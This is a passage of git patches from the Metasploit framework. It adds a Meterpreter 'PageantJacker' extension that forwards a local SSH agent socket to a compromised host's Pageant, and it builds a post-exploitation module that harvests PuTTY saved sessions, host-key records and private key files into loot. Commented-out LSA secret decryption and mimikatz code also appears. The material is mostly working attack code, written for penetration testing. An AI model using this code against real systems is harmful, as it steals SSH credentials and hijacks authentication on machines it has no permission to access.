+TLV_TYPE_EXTENSION_PAGEANTJACKER_SIZE_IN = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 4) +TLV_TYPE_EXTENSION_PAGEANTJACKER_BLOB_IN = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 5) + +end +end +end +end +end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb new file mode 100644 index 0000000000..326ddcc6e6 --- /dev/null +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb @@ -0,0 +1,165 @@ +# -*- coding: binary -*- +require 'rex/post/meterpreter' + +module Rex +module Post +module Meterpreter +module Ui + +require 'tmpdir' + +### +# +# PageantJacker extension - Hijack Pageant +# +### +class Console::CommandDispatcher::PageantJacker + + Klass = Console::CommandDispatcher::PageantJacker + + include Console::CommandDispatcher + + def initialize(shell) + super + end + + # if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/) + # print_line + # print_warning "Loaded x86 PageantJacker on an x64 architecture." + # end + #end + + # + # List of supported commands. + # + def commands + { + "start_pageant_forwarding" => "Create a local socket and forward all requests to the remote Pageant", + } + end + + def cmd_start_pageant_forwarding(*args) + sockpath = "#{::Dir::Tmpname.tmpdir}/#{::Dir::Tmpname.make_tmpname('pageantjacker', 5)}" + sockpath = "/tmp/parp" + ::File.delete sockpath + if ::File.exists?(sockpath) + print_line("Your requested socket (#{sockpath}) already exists. Remove it or choose another path and try again.") + return + end + + ::UNIXServer.open(sockpath) {|serv| + print_line("Launched listening socket on #{sockpath}.") + print_line("Set your SSH_AUTH_SOCK variable to #{sockpath} (export SSH_AUTH_SOCK=\"#{sockpath}\"") + print_line("Now use any tool normally (e.g. ssh-add)") + + loop { + s = serv.accept + loop { + socket_request_data = s.recvfrom(8192) + break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty? + + #puts socket_request_data.first.inspect + #puts socket_request_data.first.unpack('NCH*') + + #puts 'Request' + response_data = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size) + + if !response_data.nil? + #puts "Response Data\n" + #resp = response_data.unpack('NCH*') + #puts "resp size #{resp[0]} resp type: #{resp[1]} actual_size #{resp[2].size+5}" + #puts "resp #{resp[2].unpack('H*').first}" + s.send response_data,0 + end + } + } + } + + if ::File.exists?(sockpath) + print_line("Cleaning up; removing #{sockpath}") + ::File.delete(sockpath) + else + print_line("Unable to remove socket #{sockpath}") + end + end + + +# @@command_opts = Rex::Parser::Arguments.new( +# "-f" => [true, "The function to pass to the command."], +# "-a" => [true, "The arguments to pass to the command."], +# "-h" => [false, "Help menu."] +# ) +# +# def cmd_mimikatz_command(*args) +# if (args.length == 0) +# args.unshift("-h") +# end +# +# cmd_args = nil +# cmd_func = nil +# arguments = [] +# +# @@command_opts.parse(args) { |opt, idx, val| +# case opt +# when "-a" +# cmd_args = val +# when "-f" +# cmd_func = val +# when "-h" +# print( +# "Usage: mimikatz_command -f func -a args\n\n" + +# "Executes a mimikatz command on the remote machine.\n" + +# "e.g. mimikatz_command -f sekurlsa::wdigest -a \"full\"\n" + +# @@command_opts.usage) +# return true +# end +# } +# +# unless cmd_func +# print_error("You must specify a function with -f") +# return true +# end +# +# if cmd_args +# arguments = cmd_args.split(" ") +# end +# +# print_line client.mimikatz.send_custom_command(cmd_func, arguments) +# end +# +# def mimikatz_request(provider, method) +# print_status("Retrieving #{provider} credentials") +# accounts = method.call +# +# table = Rex::Ui::Text::Table.new( +# 'Header' => "#{provider} credentials", +# 'Indent' => 0, +# 'SortIndex' => 4, +# 'Columns' => +# [ +# 'AuthID', 'Package', 'Domain', 'User', 'Password' +# ] +# ) +# +# accounts.each do |acc| +# table << [acc[:authid], acc[:package], acc[:domain], acc[:user], (acc[:password] || "").gsub("\n","")] +# end +# +# print_line table.to_s +# +# return true +# end + + # + # Name for this dispatcher + # + def name + "PageantJacker" + end +end + +end +end +end +end + From f65207ac4024baacffb62329a679b402d066a4a3 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Fri, 15 May 2015 16:20:46 +0100 Subject: [PATCH 0048/2172] Initial version, working Needs tidying up. Current version: * Searches for PuTTY registry keys * Downloades the Hostname, port, private key filename, username to log in as and any port forwarding instructions * If the private keys are accessible on the box, download them to loot To do: * Detect whether pageant is running or not and report back * Tidy up code (used another plugin as a template) --- .../gather/putty_enum_saved_sessions.rb | 201 ++++++++++++++++++ 1 file changed, 201 insertions(+) create mode 100644 modules/post/windows/gather/putty_enum_saved_sessions.rb diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/putty_enum_saved_sessions.rb new file mode 100644 index 0000000000..7614f49aa7 --- /dev/null +++ b/modules/post/windows/gather/putty_enum_saved_sessions.rb @@ -0,0 +1,201 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/post/windows/priv' +require 'msf/core/post/common' +require 'msf/core/post/windows/registry' + +class Metasploit3 < Msf::Post + include Msf::Post::Windows::Priv + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::Registry + + INTERESTING_KEYS=['HostName','PublicKeyFile','UserName','PortNumber','PortForwardings'] + def initialize(info={}) + super(update_info(info, + 'Name' => "PuTTY thing", + 'Description' => %q{ + This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is: + HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\. Thanks goes to Maurizio Agazzini and Mubix for decrypt + code from cachedump. + }, + 'License' => MSF_LICENSE, + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['Stuart Morgan '] + )) + end + + +# # Decrypted LSA key is passed into this method +# def get_secret(lsa_key) +# output = "\n" +# +# # LSA Secret key location within the registry +# root_regkey = "HKLM\\Security\\Policy\\Secrets\\" +# services_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\" +# +# secrets = registry_enumkeys(root_regkey) +# +# secrets.each do |secret_regkey| +# sk_arr = registry_enumkeys(root_regkey + "\\" + secret_regkey) +# next unless sk_arr +# +# sk_arr.each do |mkeys| +# # CurrVal stores the currently set value of the key. In the case +# # of services, this is usually the password for the service +# # account. +# next unless mkeys == "CurrVal" +# +# val_key = root_regkey + "\\" + secret_regkey + "\\" + mkeys +# encrypted_secret = registry_getvaldata(val_key, "") +# +# next unless encrypted_secret +# +# if lsa_vista_style? +# # Magic happens here +# decrypted = decrypt_lsa_data(encrypted_secret, lsa_key) +# else +# # and here +# encrypted_secret = encrypted_secret[0xC..-1] +# decrypted = decrypt_secret_data(encrypted_secret, lsa_key) +# end +# +# next unless decrypted.length > 0 +# +# # axe all the non-printables +# decrypted = decrypted.scan(/[[:print:]]/).join +# +# if secret_regkey.start_with?("_SC_") +# # Service secrets are named like "_SC_yourmom" for a service +# # with name "yourmom". Strip off the "_SC_" to get something +# # we can lookup in the list of services to find out what +# # account this secret is associated with. +# svc_name = secret_regkey[4,secret_regkey.length] +# svc_user = registry_getvaldata(services_key + svc_name, "ObjectName") +# +# # if the unencrypted value is not blank and is a service, print +# print_good("Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n") +# output << "Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n" +# else +# # if the unencrypted value is not blank, print +# print_good("Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n") +# output << "Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n" +# end +# end +# end +# +# return output +# end + + def get_saved_session_details(sessions) + + all_sessions = [] + sessions.each do |ses| + newses = {} + newses['Name'] = Rex::Text.uri_decode(ses) + INTERESTING_KEYS.each do |key| + newses[key] = registry_getvaldata("HKCU\\Software\\SimonTatham\\PuTTY\\Sessions\\#{ses}", key).to_s + end + all_sessions << newses + end + all_sessions + end + + def report(info) + + # Results table holds raw string data + results_table = Rex::Ui::Text::Table.new( + 'Header' => "PuTTY Saved Sessions", + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => ['Name'].append(INTERESTING_KEYS).flatten + ) + + info.each do |result| + row = [] + row << result['Name'] + INTERESTING_KEYS.each do |key| + row << result[key] + end + results_table << row + end + + print_line results_table.to_s + #stored_path = store_loot('ad.computers', 'text/plain', session, results_table.to_csv) + #print_status("Results saved to: #{stored_path}") + end + + def grab_private_keys(sessions) + sessions.each do |ses| + filename = ses['PublicKeyFile'].to_s + next if filename.empty? + + if file?(filename) + ppk = read_file(filename) + stored_path = store_loot('putty.ppk.file', 'text/plain', session, ppk) + print_status("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") + else + print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be found.") + end + end + end + + # The sauce starts here + def run + + # Look for saved sessions, break out if not. + saved_sessions = registry_enumkeys('HKCU\\Software\\SimonTatham\\PuTTY\\Sessions') + if saved_sessions.nil? || saved_sessions.empty? + print_error('No saved sessions found') + return + end + + # Tell the user how many sessions have been found (with correct English) + print_status("Found #{saved_sessions.count} session#{saved_sessions.count>1?'s':''}") + + # Retrieve the saved session details & print them to the screen in a report + all_saved_sessions = get_saved_session_details(saved_sessions) + report(all_saved_sessions) + + # If the private key file has been configured, retrieve it and save it to loot + print_status("Downloading private keys...") + grab_private_keys(all_saved_sessions) + + binding.pry + +# hostname = sysinfo['Computer'] +# print_status("Executing module against #{hostname}") +# +# print_status('Obtaining boot key...') +# bootkey = capture_boot_key +# vprint_status("Boot key: #{bootkey.unpack("H*")[0]}") +# +# print_status('Obtaining Lsa key...') +# lsa_key = capture_lsa_key(bootkey) +# if lsa_key.nil? +# print_error("Could not retrieve LSA key. Are you SYSTEM?") +# return +# end +# vprint_status("Lsa Key: #{lsa_key.unpack("H*")[0]}") +# +# secrets = hostname + get_secret(lsa_key) +# +# print_status("Writing to loot...") +# +# path = store_loot( +# 'registry.lsa.sec', +# 'text/plain', +# session, +# secrets, +# 'reg_lsa_secrts.txt', +# 'Registry LSA Secret Decrypted File' +# ) +# +# print_status("Data saved in: #{path}") + end +end From 14035a46b16d8cb1f6b2f8fc416521d3288a985b Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Fri, 15 May 2015 16:28:51 +0100 Subject: [PATCH 0049/2172] Fixed description --- .../gather/putty_enum_saved_sessions.rb | 106 ++---------------- 1 file changed, 9 insertions(+), 97 deletions(-) diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/putty_enum_saved_sessions.rb index 7614f49aa7..dc41dba3af 100644 --- a/modules/post/windows/gather/putty_enum_saved_sessions.rb +++ b/modules/post/windows/gather/putty_enum_saved_sessions.rb @@ -17,11 +17,14 @@ class Metasploit3 < Msf::Post INTERESTING_KEYS=['HostName','PublicKeyFile','UserName','PortNumber','PortForwardings'] def initialize(info={}) super(update_info(info, - 'Name' => "PuTTY thing", + 'Name' => "PuTTY Saved Sessions Enumeration Module", 'Description' => %q{ - This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is: - HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\. Thanks goes to Maurizio Agazzini and Mubix for decrypt - code from cachedump. + This module will identify whether Pageant (PuTTY Agent) is running and obtain saved session + information from the registry. PuTTY is very configurable; some users may have configured + saved sessions which could include a username, private key file to use when authenticating, + host name etc. + + If a private key is configured, an attempt will be made to download and store it in loot. }, 'License' => MSF_LICENSE, 'Platform' => ['win'], @@ -30,68 +33,6 @@ class Metasploit3 < Msf::Post )) end - -# # Decrypted LSA key is passed into this method -# def get_secret(lsa_key) -# output = "\n" -# -# # LSA Secret key location within the registry -# root_regkey = "HKLM\\Security\\Policy\\Secrets\\" -# services_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\" -# -# secrets = registry_enumkeys(root_regkey) -# -# secrets.each do |secret_regkey| -# sk_arr = registry_enumkeys(root_regkey + "\\" + secret_regkey) -# next unless sk_arr -# -# sk_arr.each do |mkeys| -# # CurrVal stores the currently set value of the key. In the case -# # of services, this is usually the password for the service -# # account. -# next unless mkeys == "CurrVal" -# -# val_key = root_regkey + "\\" + secret_regkey + "\\" + mkeys -# encrypted_secret = registry_getvaldata(val_key, "") -# -# next unless encrypted_secret -# -# if lsa_vista_style? -# # Magic happens here -# decrypted = decrypt_lsa_data(encrypted_secret, lsa_key) -# else -# # and here -# encrypted_secret = encrypted_secret[0xC..-1] -# decrypted = decrypt_secret_data(encrypted_secret, lsa_key) -# end -# -# next unless decrypted.length > 0 -# -# # axe all the non-printables -# decrypted = decrypted.scan(/[[:print:]]/).join -# -# if secret_regkey.start_with?("_SC_") -# # Service secrets are named like "_SC_yourmom" for a service -# # with name "yourmom". Strip off the "_SC_" to get something -# # we can lookup in the list of services to find out what -# # account this secret is associated with. -# svc_name = secret_regkey[4,secret_regkey.length] -# svc_user = registry_getvaldata(services_key + svc_name, "ObjectName") -# -# # if the unencrypted value is not blank and is a service, print -# print_good("Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n") -# output << "Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n" -# else -# # if the unencrypted value is not blank, print -# print_good("Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n") -# output << "Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n" -# end -# end -# end -# -# return output -# end - def get_saved_session_details(sessions) all_sessions = [] @@ -106,7 +47,7 @@ class Metasploit3 < Msf::Post all_sessions end - def report(info) + def display_saved_sessions_report(info) # Results table holds raw string data results_table = Rex::Ui::Text::Table.new( @@ -160,7 +101,7 @@ class Metasploit3 < Msf::Post # Retrieve the saved session details & print them to the screen in a report all_saved_sessions = get_saved_session_details(saved_sessions) - report(all_saved_sessions) + display_saved_sessions_report(all_saved_sessions) # If the private key file has been configured, retrieve it and save it to loot print_status("Downloading private keys...") @@ -168,34 +109,5 @@ class Metasploit3 < Msf::Post binding.pry -# hostname = sysinfo['Computer'] -# print_status("Executing module against #{hostname}") -# -# print_status('Obtaining boot key...') -# bootkey = capture_boot_key -# vprint_status("Boot key: #{bootkey.unpack("H*")[0]}") -# -# print_status('Obtaining Lsa key...') -# lsa_key = capture_lsa_key(bootkey) -# if lsa_key.nil? -# print_error("Could not retrieve LSA key. Are you SYSTEM?") -# return -# end -# vprint_status("Lsa Key: #{lsa_key.unpack("H*")[0]}") -# -# secrets = hostname + get_secret(lsa_key) -# -# print_status("Writing to loot...") -# -# path = store_loot( -# 'registry.lsa.sec', -# 'text/plain', -# session, -# secrets, -# 'reg_lsa_secrts.txt', -# 'Registry LSA Secret Decrypted File' -# ) -# -# print_status("Data saved in: #{path}") end end From 4a88790c8c133eb4777e5554bd671a24714ff127 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Fri, 15 May 2015 17:57:15 +0100 Subject: [PATCH 0050/2172] Added SSH host keys --- .../gather/putty_enum_saved_sessions.rb | 102 +++++++++++++++--- 1 file changed, 87 insertions(+), 15 deletions(-) diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/putty_enum_saved_sessions.rb index dc41dba3af..a02cacd0ad 100644 --- a/modules/post/windows/gather/putty_enum_saved_sessions.rb +++ b/modules/post/windows/gather/putty_enum_saved_sessions.rb @@ -67,8 +67,58 @@ class Metasploit3 < Msf::Post end print_line results_table.to_s - #stored_path = store_loot('ad.computers', 'text/plain', session, results_table.to_csv) - #print_status("Results saved to: #{stored_path}") + end + + def get_stored_host_key_details(allkeys) + + # This hash will store (as the key) host:port pairs. This is basically a quick way of + # getting a unique list of host:port pairs. + all_ssh_host_keys = {} + + # This regex will split up lines such as rsa2@22:127.0.0.1 from the registry. + rx_split_hostporttype = %r{^(?[-a-z0-9]+?)@(?[0-9]+?):(?.+)$}i + + # Go through each of the stored keys found in the registry + allkeys.each do |key| + + # Store the raw key and value in a hash to start off with + newkey = { + rawname: key, + rawsig: registry_getvaldata("HKCU\\Software\\SimonTatham\\PuTTY\\SshHostKeys", key).to_s + } + + # Take the key and split up host, port and fingerprint type. If it matches, store the information + # in the hash for later. + split_hostporttype = rx_split_hostporttype.match(key.to_s) + unless split_hostporttype + newkey['host'] = split_hostporttype[:host] + newkey['port'] = split_hostporttype[:port] + newkey['type'] = split_hostporttype[:type] + host_port = "#{newkey['host']}:#{newkey['port']}" + all_ssh_host_keys[host_port] = true + end + end + puts all_ssh_host_keys.inspect + all_ssh_host_keys + end + + def display_stored_host_keys_report(info) + + # Results table holds raw string data + results_table = Rex::Ui::Text::Table.new( + 'Header' => "Stored SSH host key fingerprints", + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => ['SSH Endpoint'] + ) + + info.each do |key,result| + row = [] + row << key + results_table << row + end + + print_line results_table.to_s end def grab_private_keys(sessions) @@ -86,28 +136,50 @@ class Metasploit3 < Msf::Post end end - # The sauce starts here + + # Entry point def run # Look for saved sessions, break out if not. - saved_sessions = registry_enumkeys('HKCU\\Software\\SimonTatham\\PuTTY\\Sessions') + print_status("Looking for saved PuTTY sessions") + #saved_sessions = registry_enumkeys('HKCU\\Software\\SimonTatham\\PuTTY\\Sessions') + saved_sessions = nil if saved_sessions.nil? || saved_sessions.empty? print_error('No saved sessions found') - return + else + + # Tell the user how many sessions have been found (with correct English) + print_status("Found #{saved_sessions.count} session#{saved_sessions.count>1?'s':''}") + + # Retrieve the saved session details & print them to the screen in a report + all_saved_sessions = get_saved_session_details(saved_sessions) + display_saved_sessions_report(all_saved_sessions) + + # If the private key file has been configured, retrieve it and save it to loot + print_status("Downloading private keys...") + grab_private_keys(all_saved_sessions) + end - # Tell the user how many sessions have been found (with correct English) - print_status("Found #{saved_sessions.count} session#{saved_sessions.count>1?'s':''}") + #binding.pry - # Retrieve the saved session details & print them to the screen in a report - all_saved_sessions = get_saved_session_details(saved_sessions) - display_saved_sessions_report(all_saved_sessions) + # Now search for SSH stored keys. These could be useful because it shows hosts that the user + # has previously connected to and accepted a key from. + print_status("Looking for previously stored SSH host key fingerprints") + stored_ssh_host_keys = registry_enumvals('HKCU\\Software\\SimonTatham\\PuTTY\\SshHostKeys') + if stored_ssh_host_keys.nil? || stored_ssh_host_keys.empty? + print_error('No stored SSH host keys found') + else + # Tell the user how many sessions have been found (with correct English) + print_status("Found #{stored_ssh_host_keys.count} stored key fingerprint#{stored_ssh_host_keys.count>1?'s':''}") - # If the private key file has been configured, retrieve it and save it to loot - print_status("Downloading private keys...") - grab_private_keys(all_saved_sessions) - - binding.pry + # Retrieve the saved session details & print them to the screen in a report + print_status("Downloading stored key fingerprints...") + all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys) + print_status("Unique host:port pairs are shown in the table below. All other details, including the actual fingerprint, are stored in notes (putty.ssh.fingerprint)") + display_stored_host_keys_report(all_stored_keys) + end end + end From 5d273d53b484a9d58f82ecf1980ba2a9e37b58d2 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Fri, 15 May 2015 22:02:12 +0100 Subject: [PATCH 0051/2172] Fixed module logic so that the key fingerprints now get displayed properly: --- .../gather/putty_enum_saved_sessions.rb | 29 ++++++++++++------- 1 file changed, 19 insertions(+), 10 deletions(-) diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/putty_enum_saved_sessions.rb index a02cacd0ad..77e1d93d2a 100644 --- a/modules/post/windows/gather/putty_enum_saved_sessions.rb +++ b/modules/post/windows/gather/putty_enum_saved_sessions.rb @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Post host name etc. If a private key is configured, an attempt will be made to download and store it in loot. - }, + }, 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], @@ -90,15 +90,21 @@ class Metasploit3 < Msf::Post # Take the key and split up host, port and fingerprint type. If it matches, store the information # in the hash for later. split_hostporttype = rx_split_hostporttype.match(key.to_s) - unless split_hostporttype + if split_hostporttype + + # Extract the host, port and key type into the hash newkey['host'] = split_hostporttype[:host] newkey['port'] = split_hostporttype[:port] newkey['type'] = split_hostporttype[:type] + + # Form the key host_port = "#{newkey['host']}:#{newkey['port']}" - all_ssh_host_keys[host_port] = true + + # Add it to the consolidation hash. If the same IP has different key types, append to the array + all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil? + all_ssh_host_keys[host_port] << newkey['type'] end end - puts all_ssh_host_keys.inspect all_ssh_host_keys end @@ -109,12 +115,13 @@ class Metasploit3 < Msf::Post 'Header' => "Stored SSH host key fingerprints", 'Indent' => 1, 'SortIndex' => -1, - 'Columns' => ['SSH Endpoint'] + 'Columns' => ['SSH Endpoint', 'Key Type(s)'] ) info.each do |key,result| row = [] row << key + row << result.join(', ') results_table << row end @@ -161,8 +168,6 @@ class Metasploit3 < Msf::Post end - #binding.pry - # Now search for SSH stored keys. These could be useful because it shows hosts that the user # has previously connected to and accepted a key from. print_status("Looking for previously stored SSH host key fingerprints") @@ -176,10 +181,14 @@ class Metasploit3 < Msf::Post # Retrieve the saved session details & print them to the screen in a report print_status("Downloading stored key fingerprints...") all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys) - print_status("Unique host:port pairs are shown in the table below. All other details, including the actual fingerprint, are stored in notes (putty.ssh.fingerprint)") - display_stored_host_keys_report(all_stored_keys) - + if all_stored_keys.nil? || all_stored_keys.empty? + print_status("Unique host:port pairs are shown in the table below. All other details, including the actual fingerprint, are stored in notes (putty.ssh.fingerprint)") + display_stored_host_keys_report(all_stored_keys) + else + print_error("No stored key fingerprints found") + end end + end end From 53311fda2e9adba04fac10bc6bdf3856ca78d614 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 13:02:58 +0100 Subject: [PATCH 0052/2172] Fixed logic & added notes storage --- .../gather/putty_enum_saved_sessions.rb | 23 ++++++++++++------- 1 file changed, 15 insertions(+), 8 deletions(-) diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/putty_enum_saved_sessions.rb index 77e1d93d2a..48c819b877 100644 --- a/modules/post/windows/gather/putty_enum_saved_sessions.rb +++ b/modules/post/windows/gather/putty_enum_saved_sessions.rb @@ -43,6 +43,7 @@ class Metasploit3 < Msf::Post newses[key] = registry_getvaldata("HKCU\\Software\\SimonTatham\\PuTTY\\Sessions\\#{ses}", key).to_s end all_sessions << newses + report_note(host: target_host, type: "putty.savedsession", data: newses) end all_sessions end @@ -104,6 +105,7 @@ class Metasploit3 < Msf::Post all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil? all_ssh_host_keys[host_port] << newkey['type'] end + report_note(host: target_host, type: "putty.storedhostfp", data: newkey) end all_ssh_host_keys end @@ -130,13 +132,18 @@ class Metasploit3 < Msf::Post def grab_private_keys(sessions) sessions.each do |ses| + filename = ses['PublicKeyFile'].to_s next if filename.empty? + # Check whether the file exists. if file?(filename) - ppk = read_file(filename) - stored_path = store_loot('putty.ppk.file', 'text/plain', session, ppk) - print_status("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") + if ppk = read_file(filename) # Attempt to read the contents of the file + stored_path = store_loot('putty.ppk.file', 'application/octet-stream', session, ppk) + print_status("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") + else + print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc + end else print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be found.") end @@ -149,8 +156,7 @@ class Metasploit3 < Msf::Post # Look for saved sessions, break out if not. print_status("Looking for saved PuTTY sessions") - #saved_sessions = registry_enumkeys('HKCU\\Software\\SimonTatham\\PuTTY\\Sessions') - saved_sessions = nil + saved_sessions = registry_enumkeys('HKCU\\Software\\SimonTatham\\PuTTY\\Sessions') if saved_sessions.nil? || saved_sessions.empty? print_error('No saved sessions found') else @@ -161,6 +167,7 @@ class Metasploit3 < Msf::Post # Retrieve the saved session details & print them to the screen in a report all_saved_sessions = get_saved_session_details(saved_sessions) display_saved_sessions_report(all_saved_sessions) + print_status("Session data also stored in notes. Use 'notes -t putty.savedsessions to view'.") # If the private key file has been configured, retrieve it and save it to loot print_status("Downloading private keys...") @@ -182,10 +189,10 @@ class Metasploit3 < Msf::Post print_status("Downloading stored key fingerprints...") all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys) if all_stored_keys.nil? || all_stored_keys.empty? - print_status("Unique host:port pairs are shown in the table below. All other details, including the actual fingerprint, are stored in notes (putty.ssh.fingerprint)") - display_stored_host_keys_report(all_stored_keys) - else print_error("No stored key fingerprints found") + else + print_status("Unique host:port pairs are shown in the table below. All other details, including the actual fingerprint, are stored in notes. Use 'notes -t putty.storedhostfp to view'.") + display_stored_host_keys_report(all_stored_keys) end end From 8aa27eee94ca464e3e6404d8dcc1e92fac503af1 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 13:06:05 +0100 Subject: [PATCH 0053/2172] report_note only appears to allow one note per host/type combo... --- modules/post/windows/gather/putty_enum_saved_sessions.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/putty_enum_saved_sessions.rb index 48c819b877..6fd7a0b68c 100644 --- a/modules/post/windows/gather/putty_enum_saved_sessions.rb +++ b/modules/post/windows/gather/putty_enum_saved_sessions.rb @@ -43,7 +43,6 @@ class Metasploit3 < Msf::Post newses[key] = registry_getvaldata("HKCU\\Software\\SimonTatham\\PuTTY\\Sessions\\#{ses}", key).to_s end all_sessions << newses - report_note(host: target_host, type: "putty.savedsession", data: newses) end all_sessions end @@ -105,7 +104,6 @@ class Metasploit3 < Msf::Post all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil? all_ssh_host_keys[host_port] << newkey['type'] end - report_note(host: target_host, type: "putty.storedhostfp", data: newkey) end all_ssh_host_keys end From 4a416bba3c8b14b20d07776eec5cdc2fbbbecf32 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 13:24:38 +0100 Subject: [PATCH 0054/2172] Fixed notes using :unique_data --- modules/post/windows/gather/putty_enum_saved_sessions.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/putty_enum_saved_sessions.rb index 6fd7a0b68c..523fcbffe2 100644 --- a/modules/post/windows/gather/putty_enum_saved_sessions.rb +++ b/modules/post/windows/gather/putty_enum_saved_sessions.rb @@ -43,6 +43,7 @@ class Metasploit3 < Msf::Post newses[key] = registry_getvaldata("HKCU\\Software\\SimonTatham\\PuTTY\\Sessions\\#{ses}", key).to_s end all_sessions << newses + report_note(host: target_host, type: "putty.savedsession", data: newses, update: :unique_data) end all_sessions end @@ -104,6 +105,7 @@ class Metasploit3 < Msf::Post all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil? all_ssh_host_keys[host_port] << newkey['type'] end + report_note(host: target_host, type: "putty.storedfingerprint", data: newkey, update: :unique_data) end all_ssh_host_keys end @@ -189,7 +191,7 @@ class Metasploit3 < Msf::Post if all_stored_keys.nil? || all_stored_keys.empty? print_error("No stored key fingerprints found") else - print_status("Unique host:port pairs are shown in the table below. All other details, including the actual fingerprint, are stored in notes. Use 'notes -t putty.storedhostfp to view'.") + print_status("Unique host:port pairs are shown in the table below. All other details, including the actual fingerprint, are stored in notes. Use 'notes -t putty.storedfingerprint to view'.") display_stored_host_keys_report(all_stored_keys) end end From 18a9dfd6dadf2758bcfe6f39888e1091cace2fd9 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 14:37:59 +0100 Subject: [PATCH 0055/2172] Added PAGEANT_REGISTRY_KEY variable to enhance readability --- modules/post/windows/gather/putty_enum_saved_sessions.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/putty_enum_saved_sessions.rb index 523fcbffe2..dac8d00d83 100644 --- a/modules/post/windows/gather/putty_enum_saved_sessions.rb +++ b/modules/post/windows/gather/putty_enum_saved_sessions.rb @@ -15,6 +15,8 @@ class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry INTERESTING_KEYS=['HostName','PublicKeyFile','UserName','PortNumber','PortForwardings'] + PAGEANT_REGISTRY_KEY="HKCU\\Software\\SimonTatham\\PuTTY" + def initialize(info={}) super(update_info(info, 'Name' => "PuTTY Saved Sessions Enumeration Module", @@ -40,7 +42,7 @@ class Metasploit3 < Msf::Post newses = {} newses['Name'] = Rex::Text.uri_decode(ses) INTERESTING_KEYS.each do |key| - newses[key] = registry_getvaldata("HKCU\\Software\\SimonTatham\\PuTTY\\Sessions\\#{ses}", key).to_s + newses[key] = registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\Sessions\\#{ses}", key).to_s end all_sessions << newses report_note(host: target_host, type: "putty.savedsession", data: newses, update: :unique_data) @@ -85,7 +87,7 @@ class Metasploit3 < Msf::Post # Store the raw key and value in a hash to start off with newkey = { rawname: key, - rawsig: registry_getvaldata("HKCU\\Software\\SimonTatham\\PuTTY\\SshHostKeys", key).to_s + rawsig: registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys", key).to_s } # Take the key and split up host, port and fingerprint type. If it matches, store the information @@ -156,7 +158,7 @@ class Metasploit3 < Msf::Post # Look for saved sessions, break out if not. print_status("Looking for saved PuTTY sessions") - saved_sessions = registry_enumkeys('HKCU\\Software\\SimonTatham\\PuTTY\\Sessions') + saved_sessions = 